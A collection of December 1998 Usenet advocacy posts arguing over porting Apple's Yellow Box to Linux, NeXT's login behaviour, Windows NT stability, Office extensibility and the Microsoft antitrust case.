> >> matter what unix is is running one. Do you think Linux user will just
> >> forget about GNOME and KDE if YB is ported?
> >Is it like Apple ought to be the only game in town before entering it?
>
> No. And that isn't what I said.
And that's why I asked for clarification. :-)
> >Isn't that niche thinking at its worst? GNOME and KDE are going to
> >live side by side for some time to come, even working together e.g.
> >via CORBA. I thought YB is CORBA-compatible. Following this line of
> >thinking YB for Windows should be scrapped immediately too. Do Mac OS
> >X users need to forget about Carbon if YB is to enter the scene?
>
> I think you are missing my point. Porting to Linux isn't going to be
> automatic success for Apple.
Agreed.
> Apple has to build mindshare for YB,
Agreed.
> it can not piggyback on Linux mindshare. Porting YB to Linux is not
> anywhere near what Apple needs to do to build up an industry around
> YB.
I tend to believe the Linux port would of high strategic importance.
Are you saying that YB for Windows and Mac OS X will be enough to
guarantee YB's future with adequate developer adoption? If so, in what
time frame do you see YB as becoming widely enough adopted to provide
the Mac OS X platform with the new apps to guarantee its viability.
How long can Carbon be expected to keep working for Apple (once it
even starts)?
> >If YB can't offer any tangible benefits to outweigh the benefits of
> >GNOME or KDE... then I don't really see the point of YB in the first
> >place, except as a prorietary GNOME or KDE clone for the Macintosh.
> >However YB is supposed to have unique selling points (USP's).
>
> Very good integration between the user environment, the development
> tools and the base OS. I think that is the biggest selling point.
This leaves only the upcoming Mac OS X, and that was my point too. YB
on other platforms helps but Mac OS X offers unique benefits - but
only if YB becomes widely accepted. To those afraid that PowerMac
sales would plummet if YB ran on Linux - Jobs has acknowledged that
Apple is working hard to erase the hardware price disparity.
> >And I gave you reasons why I'd pick Linux over *BSD. Now you're saying
> >Linux's "better apps support, wider hardware support, quickly
> >improving OS" mean squat.
>
> I didn't say they mean squat, I just don't think they justify the time
> and expense to port to Linux _now_ at the expense of other things Apple
> is working on.
Squat in near term...? :^) Anyway, I feel the time and expense
issues could be addressed with parallel development and selective
opensourcing, all weighted together with the momentum and
time-to-market questions. These are matters of setting priorities once
a strategy has been set.
> Nor do I think Apple can use Linux as an excuse to not improve Apps
> support, hardware support or avoid improving the base OS.
Agreed. But Linux still provides a "relevance bridge" between PC and
Mac hardware platforms and YB could bridge the two in terms of
software compatibility. Think Mainstream.
> >Apparently these aren't valid reasons and
> >any "decent open standards based Unix" will, if I read you correctly,
> >provide equally fine YB+*nix platform, making YB for Linux
> >unnecessary?
>
> I don't think it makes sense to spend the time and effort build YB
> on Linux _now_ at the expense properly supporting OSX on the hardware
> that Apple has commited to support.
>
> After that, Apple should look at porting YB to other platforms vs the
> cost of porting OSX to other platforms; as well as the costs for porting
> to Linux et al. THAT SHOULD COME AFTER APPLE HAS MADE GOOD ON ITS
> PROMISES.
Fair enough.
> >Is that what you're trying to say?
>
> I thought I was clear on this.
I may well suffer from reading miscomprehension at times; I got your
point now.
> I understand _why_ you would want Apple to support Linux, I just don't
> think Apple can justify an attempt to sell to a portion of a 8-10 million
> user market at the expense of reneging on its promises to a 22+ million
> user market.
I don't see YB for Linux being much different from YB for Windows in
that respect. In fact, YB/Linux might - if Mac OS X remains
'not-available' for pre-G3 PowerMacs - provide a way to actually keep
some of their promises. Like allowing my '97 PowerMac to run YB apps
on an advanced, multi-tasking environment. If any WinXX PC user has
that option but my Apple-branded, "sold as Rhapsody-compatible" Mac
doesn't run either Mac OS X or Linux _with_ Yellow Box... who's
getting screwed at the expense of whom?
Also, I would like to point out that while the Linux market is an
estimated 8-10 million seats (with something like doubling every year)
Apple's own Mac OS X-compatible market will be more or less the number
of G3 systems sold, not anywhere near 22+ million.
Besides, it sometimes feels as if Apple didn't have to justify
anything to anyone anyway. <g>
Brgds,
--
taiQ
[this space is intentionally blank]
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 13 Dec 1998 14:21:53 GMT
Organization: Indiana University, Bloomington
Message-ID: <750ii1$6hm$1@jetsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74u5bd$bb4@news1.panix.com> <74uemb$2jf$1@jetsam.uits.indiana.edu> <74v2bp$jd5$1@remarQ.com>
In article <74v2bp$jd5$1@remarQ.com>,
Donald R. McGregor <mcgredo@otter.mbay.net> wrote:
>In article <74uemb$2jf$1@jetsam.uits.indiana.edu>,
>Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
>>>Has it. Fully multi-user just like any other BSD Unix.
>>
>>The reason I wondered is the average home user probably doesn't want to
>>boot up and get blasted with a
>>
>> username:
>> password:
>>
>>How are they going to work that?
>
>NeXT had a default login account, "me". As long as this had no
>password, the machine booted up then automaticaly logged into
>that account, so the user saw a standard desktop automatically.
>If the user added a password to the account, he got a GUI login
>screen, not completely unlike NT.
Wow, they've thought of everything!
And I suppose "me" have my own home directory, so if I really wanted to I
could leave that open for public use, but log into my own
password-protected account by choosing some kind of login option from
"me"'s account?
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
From: mkb@altair.mayn.de (Matthias Buelow)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 13 Dec 1998 14:34:26 GMT
Organization: NIL
Message-ID: <750j9i$nbh$1@wuff.mayn.de>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com>
In article <36735f75.2443804@news2.asan.com>,
Willy <willy1@rocketmail.com> wrote:
>Like I said, I run Windows NT. Neither NT nor Outlook crash on me.
>IE crashes ever once in a while. I simply start IE again. I *never*
>have to reboot for any application related problems. The only time I
>have to reboot is if I change the OS configuration in some way that
>requires rebooting. And that's practically never.
You never change the routing table, or configure a different nameserver?
--
``Round about the terminal go; / In the poisoned upgrade throw.
Code, which by a student done / In minutes numbering sixty-one.
Run-time error, protection fault / Crash ye first, crash ye shalt.''
(The Oracle, MacBeth95)
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: 13 Dec 1998 14:38:37 GMT
Organization: AOL http://www.aol.com
References: <14Nc2.20795$q15.465873@news.san.rr.com>
Message-ID: <19981213093837.15584.00002564@ng-fi1.aol.com>
"Ed Deans." <eadeans@san.rr.com> said:
>Via the magic of the Kaleidoscope control panel (<http://kaleidoscope.net/>)
>for System 7 through Mac OS 8.5, someone has put together what looks like a
>good rendition of the unused NEXTSTEP 4.0 UI.
Looks like, not works like.
I want pervasive drag and drop which works, including from the minimize button.
I want a program launcher which will let me keep track of which applications
are running and which can be dragged out of the way when I need the room.
I want a file browser that works (Greg's Browser doesn't qualify for me I'm
afraid--it's functioning seems crippled to me in comparison the NeXT's
browser).
I want inspector panels which allow me to set the properties of files and
directories and how they view.
I want a font panel which is common to all applications, and I don't wan tto
have to run Adobe Type Reunion to get my fonts displayed in a sensible manner
and I don't want to have to put up with different applications (and versions)
interpreting the name of a given font in a different fashion so that I get a
missing font dialog box.
I want multiple pasteboards which can copy and paste the style of a block of
text from one application to another, etc.
I want services--I want one small application once installed to work
effortlessly in all other apps. ditto for file conversion services.
There're other things which I'm forgetting I'm sure, but this is the sort of
functionality which I find gives the NeXT environment its utility and elegance.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Steve Jobs:Potential Time Man of the year
Date: 13 Dec 1998 14:41:18 GMT
Organization: AOL http://www.aol.com
References: <74vqg3$j6o$1@neon.Mlink.NET>
Message-ID: <19981213094118.15584.00002565@ng-fi1.aol.com>
But would Jobs want to be mentioned in a Man of the Year article again?
He's always complained bitterly of the interpretation of his interview which
was featured in the 1982? Computer as Man of the Year article.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Sean" <sbiggs.REMOVE@.teleweb.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu>
Subject: Re: M$: Really the Best Talent?
Organization: USA Best Net
Message-ID: <913564390.148534@soam.wwnet.net>
Cache-Post-Path: soam.wwnet.net!unknown@max4-249.pontiac.usabestnet.net
NNTP-Posting-Date: Sun, 13 Dec 1998 09:59:16 EDT
Date: Sun, 13 Dec 1998 09:48:14 -0500
Ben White wrote in message <3673796A.362778FC@brown.edu>...
>Willy wrote:
>
>Don't be silly. Of course they're all using the same set of functions if
>they're using the exact same application. Various users use various
>functions from that set to accomplish different things. Sure, there is a
>lot of functionality in there. The point is that MS dictates that set of
>functionality and there is no recourse should a user who has the
>know-how wish to add functionality. Wouldn't it be a great feature if
>you could read your email without ever leaving your word processor and
>having to launch another application to do so? Wouldn't it be cool if
>you could use your word processor to save files in your company's
>proprietary data format? Can you do these things in Word? I don't think
>so. Hence, my lowest-common-denominator complaint.
>
That's just out and out not true.
Windows apps are very extendible. Ever hear of OLE2? It's very powerful.
Let's I want to add flowcharting capability to Word, all I have to do is
install ABC Flowcharter. During ABC's installation, I get a prompt asking
if I want to add Flowcharter's buttons to MS Office. If I say "Yes", I get
a MicroGrafix's tool bar in my MS office apps. Then all I need to do is
click on one of the buttons an I get full flowcharting capabilities in Word.
It's even more flexible than that. I can distribute my word document with
the embedded flowchart to people with Word but not ABC Flowcharter. They
can read the file with no loss of data. Simply by embedding the ABC
Flowchart in my Word document, I've extended Word so that it can read ABC's
file formats. I haven't seen anything like OLE on UNIX systems.
VBA is another way to extend MS Office applications. VBA is able to call
API's from other programs. At work, we use PROFS as our mail system. The
PROFS editing capabilities pretty much suck. By using a Word macro that
calls HLAPI, people are able to write their mail in Word and send it off in
PROFS. There is also another macro that reads the calender from PROFS and
sticks the meetings into an easy to read table in Word. Pretty cool. For
it to work, all you need is some knowledge of VBA and HLAPI. One more
thing, if you don't like VBA, feel free to use C or any language that
supports the Win32 API.
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 15:32:07 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3673ddc4.1411499@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <hoye.1NOSPAM-ya02408000R1212980328240001@nntp.service.ohio-state.edu> <36738AD0.C1324BAD@tone.ca>
On Sun, 13 Dec 1998 04:37:22 -0500, in comp.os.ms-windows.advocacy
Michael <michael@tone.ca> wrote:
>Which was possible because they used off the shelf components,
But so did everyone else. You think Apple developed and used their
own semi-conductor devices?
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 15:53:21 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3673de8f.1614090@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com> <3673C094.7C814583@brown.edu>
On Sun, 13 Dec 1998 08:26:44 -0500, in comp.os.ms-windows.advocacy Ben
White <benjamin_white@brown.edu> wrote:
>Wow. At what age did your brainwashing begin? Think about this: the fact
>that Dell and Compaq pay MS a OS royalty based on the number of
>computers they sell gives them no incentive to sell anything but
>Windows.
When did *your* brainwashing begin? The DOJ stopped this activity a
long time ago. Yet, these manufacturers still don't offer other OSes.
Why? Because the demand is nearly non-existant.
You seem to mistake every company that appears to be under Microsoft's
thumb as some sort of public service organization fighting for their
survival. These are all for-profits companies that have become larger
than Microsoft because of Windows. Compaq and Dell both have larger
revenues than Microsoft so don't cry too hard for them.
>And why should any startup company look to even try to write an
>alternative OS when MS has the market cornered? Why should any startup
>company try to write a word processor to replace Word when MS owns so
>much of that market?
I'll tell you why. There are barriers to the market that have nothing
to do with Microsoft's dominance. First, there's the fact that there
are two other very powerful word processors out there. If MS Word
were to disappear tomorrow, any startup would still have to contend
with Lotus WordPro and Corel WordPerfect; both of which can kick the
butt of any startup. Second, the effort and resources required to
create a world-class application like Word is tremendous. Unlike a
chip competitor like Cyrix, which can farm out the production of
chips, Software developers can't simply farm out development of a new
complex product (well, they may be able to do some but it cost a
fortune.)
> I remember when Windows 3.0 used to flash a little
>warning message if it detected that it was running on top of DR-DOS.
(talk about brainwashing) Unless you were part of the beta program,
you remember nothing of the sort. MS was right to put the message in
there. They had a beta product that they were releasing to be tested
in it's intended environment. That enviroment was MS-DOS; not DR-DOS.
They only had incentive to fix problems relating to MS-DOS. When
Windows was released the message was removed.
>There was, of course, no difference between running it over DR-DOS or
>MSDOS.
Actually there did exist a few incompatibilities. Byte magazine
reviewed DR-DOS and found both DOS level and Windows level
incompatibilities.
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: 13 Dec 1998 16:00:58 GMT
Organization: Technische Universitaet Berlin, Deutschland
Message-ID: <750obq$k7k$1@news.cs.tu-berlin.de>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
NNTP-Posting-Date: 13 Dec 1998 16:00:58 GMT
willy1@rocketmail.com (Willy) writes:
> Microsoft's software is more advanced than any competitor
What are you smoking????
Truly puzzled,
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sun, 13 Dec 1998 16:01:25 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3673e424.3043095@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de>
On 13 Dec 1998 14:34:26 GMT, in comp.os.ms-windows.advocacy
mkb@altair.mayn.de (Matthias Buelow) wrote:
>In article <36735f75.2443804@news2.asan.com>,
>Willy <willy1@rocketmail.com> wrote:
>
>>Like I said, I run Windows NT. Neither NT nor Outlook crash on me.
>>IE crashes ever once in a while. I simply start IE again. I *never*
>>have to reboot for any application related problems. The only time I
>>have to reboot is if I change the OS configuration in some way that
>>requires rebooting. And that's practically never.
>
>You never change the routing table, or configure a different nameserver?
No. I haven't had need to touch the routing table and my ISP assigns
the nameserver along with the IP. Pretty cool, huh? The NT servers
and NT workstations at my office are setup the same way.
From: tsivertsen@c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS & Windows UIs suck dung beatle dung.
Date: Sun, 13 Dec 1998 17:14:53 +0100
Organization: =?ISO-8859-1?Q?h=F8h=3F/Asylant?=
Message-ID: <1998121317145393293@mp-215-31.daxnet.no>
References: <ThCc2.250$qF5.1503104@lwnws01.ne.mediaone.net>
(SNIP)
> (Well that rant made me feel a little better :)
You`re back in style, I see.
--
Cheers, Thomas Sivertsen
tsivertsen@c2i.net
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sun, 13 Dec 1998 16:17:08 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3673e51c.3291382@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu>
On Sun, 13 Dec 1998 03:23:06 -0500, in comp.os.ms-windows.advocacy Ben
White <benjamin_white@brown.edu> wrote:
>Are you kidding? It's been my experience while working at an ISP that
>the NT servers needed to be rebooted regularly for no apparent reason.
It's been my experience while working for a Lotus Notes developement
firm that our NT Notes servers (which are pounded all day long by
delelopers and clients) never need rebooting for any reason. Also,
our NT file/print servers don't need rebooting either.
>> That is absolutely incorrect. Through my work as a computer
>> consultant, I've gone into many different office situations where
>> users of Excel or Word are using different sets of functionality in
>> completely different ways. If your statement were true, they would
>> all be trying to do their job with the same set of functions.
>
>Don't be silly. Of course they're all using the same set of functions if
>they're using the exact same application. Various users use various
>functions from that set to accomplish different things. Sure, there is a
>lot of functionality in there. The point is that MS dictates that set of
>functionality and there is no recourse should a user who has the
>know-how wish to add functionality. Wouldn't it be a great feature if
>you could read your email without ever leaving your word processor and
>having to launch another application to do so? Wouldn't it be cool if
>you could use your word processor to save files in your company's
>proprietary data format? Can you do these things in Word? I don't think
>so.
Yes you can. I guess you just don't know what you're talking about.
And Microsoft develops functionality based on user feedback. There is
simply no reason for *any* company to ignore customer feedback and
develop feature of no value.
>As I said in my post, I know that there are workarounds to some
>broken-by-design 'features'. This does not at all mitigate my
>observation that in general MS seems to have this notion that *all*
>users need to have their respective hands held. Do not misconstrue this
>to mean that 'setup wizards are bad' or 'all point-and-click interfaces
>are bad'. That's totally not true. What is bad is when the only way to
>install something is via a graphical wizard or when the only way to
>configure an OS is with a mouse.
So I guess Apple is equally bad?
>*Sigh* I know that there are other choices. I use them more frequently
>than the MS options available to me. The fact that other choices exist
>is irrelevant to the DOJ's suit. How competitive do you think Goldmine,
>for example, can be if MS is bundling Outlook with everything it can
>think of? The notion that an OEM cannot install the non-MS browser of
>their choice without MS threatening to pull their Win95 license
>illustrates that MS has sufficient clout to stifle competition.
That is not so. Companies can and do install Navigator on computers.
> The fact
>that MS can force a company to adopt its browser by dangling the prize
>of bundling with Windows illustrates that MS has sufficient clout to
>stifle competition.
Oh yeah; Microsoft really forced AOL. Sure.
Don't you think that AOL should share a little bit of the
responsibility by being so greedy?
In any case, if you read the transcripts you'll see that AOL was tired
of Netscape's unresponsiveness to their request for an integrated
browser. AOL had to go with IE for technical reasons. The fact that
they bought Netscape and will most likely not renew their agreement
with Microsoft clearly indicates that AOL, not Microsoft, controls
what AOL does.
> The examples abound and this is what the DOJ's suit
>is about. Remember, Standard Oil controlled the refining of only 14% of
>crude oil in the US at the time of their breakup. Legally, it doesn't
>matter if other options exist. What matters is when one company is able
>to push other companies around at will and force anti-competition.
That's right. The problem is that every bit of evidence (if you even
want to call it that) has been completely shot down.
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 12:09:28 -0500
Organization: University Of Pittsburgh
Message-ID: <pxpst2-1312981209280001@pelli.pathology.pitt.edu>
References: <36717987.21076075@news2.asan.com> <F3tJJB.9x@T-FCN.Net> <36718b58.25637024@news2.asan.com>
In article <36718b58.25637024@news2.asan.com>, willy1@rocketmail.com
(Willy) wrote:
> Are you joking? Maybe you should read the ruling:
> http://www.cadc.uscourts.gov/common/opinions/199806/97-5343a.txt
>
> "On the facts before us, however,
> we are inclined to conclude that the Windows 95/IE package
> is a genuine integration; consequently, s IV(E)(i) does not
> bar Microsoft from offering it as one product."
>
> >
Yes that is what the Justices said but they also added at the end theat
this ruling could change in the future if evidence shows this not to be
the case. And with the use of "experts" and the MS dictionary, I would say
that the evidence is strong that this is not integration.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 12:34:59 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <19981213123459842091@ts2-18.aug.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <hoye.1NOSPAM-ya02408000R1212980328240001@nntp.service.ohio-state.edu> <36738AD0.C1324BAD@tone.ca>
Michael <michael@tone.ca> wrote:
> > IBM didn't "decide to make it an open system" - it was
> > reverse-engineered by a competitor and the clones began (See "Triumph of
> > the Nerds", PBS)
> >
>
> Which was possible because they used off the shelf components, nothing
> propriatary. They tried to change that with their second version but the
> marketplace wouldn't buy it.
>
> Anyway its a small detail that has nothing to do with my point.
IIRC, the BIOS was proprietary, and was also reverse engineered. clones
were possible becasue of the BIOS reverse engineering and the
non-exclusive OS license with M$.
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From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 12:35:02 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <19981213123502842284@ts2-18.aug.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com>
Willy <willy1@rocketmail.com> wrote:
> >The question is MicroSoft damaging consumer interests and technology
> >innovation with their behavior. If they are, if it's not illegal, it
> >should be. There is no reason for us to suffer this kind of damage from
> >a from a private interest any more than it would be from a foreign
> >nation.
>
> What kind of damage??? How are you hurting from Microsoft's business
> practices? Microsoft's software is more advanced than any competitor
> and is priced competitively. What's so bad about that?
Microsoft's software is NOT more advanced than anyone else's.
Microsoft regularly uses anti-competitive practices to force companies
out of business, or products off the market. They did it to Go
Computing, Digital Research and Netscape.
The price of Microsoft software has NOT come down, and, indeed, forces
software prices artificially high. The mere fact of economy of scale
alone should mean a very cheap price to MS Windows. Instead, the price
remains at the same level of other, smaller comanies prices.
I am damaged by the fact that M$ uses tactics like not allowing acces to
commercial websites unless ou are using their software. for instance...
you could not log onto Disney's site, Disney Blast, unless you were
using W95 and IE. This locked oout everyoen NOT using that combination.
It was a simple little thin like the page softeware looking for IE, and
if you didnt have it, you got a messge asying, in essence.. go get 95
and IE... some people hackef Netscape Navigator to report itself as IE,
and then the page worked fine.
It will be a fine day if Microsoft is finally made to pay for their
excesses.
--
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From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sun, 13 Dec 1998 12:34:38 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <19981213123438840862@ts2-18.aug.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
> Rick wrote:
>
> > What is a ... "good Unix" ?
>
> A good Unix is many things. Some of the most important are user issues:
>
> 1) Inclusion of common shells: csh, ksh, tcsh, bash
> 2) Accessible command-line client: xterm, rxvt, dtterm, Terminal.app
> 3) Inclusion of standard tools: troff, nroff, man, more, top, ps, many
> more
>
> Some other inclusions are worth additional points:
>
> 1) Inclusion of common GNU tools: less, GNU make, groff, wget, many more
> 2) A basic C compiler
> 3) A Perl interpreter binary
> 4) Compatible login behavior: .login, motd, others
>
> From there come many basic functionality issues:
>
> 1) Some sort of well-known init setup
> 2) Basic Unix peer-to-peer networking (both client and server): NFS,
> rsh, telnet, ftp, YP, many more
> 3) Unix-like filesystems: Unix permissions, Unix timestamps, I-nodes,
> home directories, standard Unix mount options, case sensitivity, long
> filenames
> 4) BSD or SVR4 printing, lpr compatibility at the least
>
> Also included are administrative issues:
>
> 1) User administration: passwd and group files, others
> 2) Network administration: netstat, mount, route, ifconfig, well-known
> device names, services file, shells file, ftpusers file, securetty file,
> many more
> 3) Others: nice, crond, syslogd, many more
>
> X Window System support:
>
> 1) Full X distribution
> 2) Support for X font naming
> 3) Support for a reasonable set of extensions: MIT-SHM, DBE, ICE, XIE,
> many others
>
> There are, of course, development-related issues:
>
> 1) POSIX threads
> 2) Sockets and/or STREAMS
> 3) Compatible C library
> 4) Named pipes
> 5) Dynamic libraries, Unix-standard naming conventions
>
> There are too many development-related issues to list even a fraction
> here.
>
> MJP
.. and every single Unix or Unix variant includes everything listed
above in every distributon?
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From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 12:40:54 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1312981240540001@x3066.resnet.cornell.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca>
In article <3671C95D.366D2F67@tone.ca>, michael@tone.ca wrote:
> History lesson: circa 1980 DOJ is on IBMs case, claiming they are abusing
> their mainframe monopoly. IBM decides to build a PC, but decides to make it
> an open system, and not maintain control of the OS for it. Why? (1) IBM
> didn't dream their PC would be a huge success, (2) No need to stir up the
> anti-trust forces any more than they were already. The rest is history. The
> PC revolution begins, with IBM playing only a small role, and IBMs
> mainframe monopoly becomes irrelevant.
I think there was another reason: IBM was pressed for time; executives
wanted an IBM PC on the market *fast*, and they didn't have time to design
their own parts.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
Gates apparently forgets that, while growing Microsoft, he was supported
by various governments with corporate, contract, and copyright law, to
name just three. And governments were there protecting him from IBM and
others with antitrust law. Hey, Bill, it's simply Microsoft's turn to obey
antitrust law.
-Bob Metcalfe, inventor of ethernet and general technology guru
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 13 Dec 1998 18:33:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75119s$712@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com> <3672BC37.53083A9@nstar.net> <74ujrs$faj@news1.panix.com> <367316E2.38925C5F@nstar.net>
On Sat, 12 Dec 1998 19:22:42 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>> What is it that *you* don't understand about the concept of finite resources?
>That wasn't what we were discussing. Why are you changing the subject?
YES IT WAS WHAT WE WERE DISCUSSING.
YOU ASKED WHY APPLE ISN'T DOING A YB FOR LINUX, I RESPONDED WITH A NUMBER OF
REASONS WHY IT MAY NOT BE A GOOD IDEA TO DO IT NOW.
REREAD THIS:
>> Why should Apple pull people off of development of OSX for its current installed
>> base, or the runtime for the _largest_ installed user base (windows) before it
>> has even resolved the issue of free runtimes?
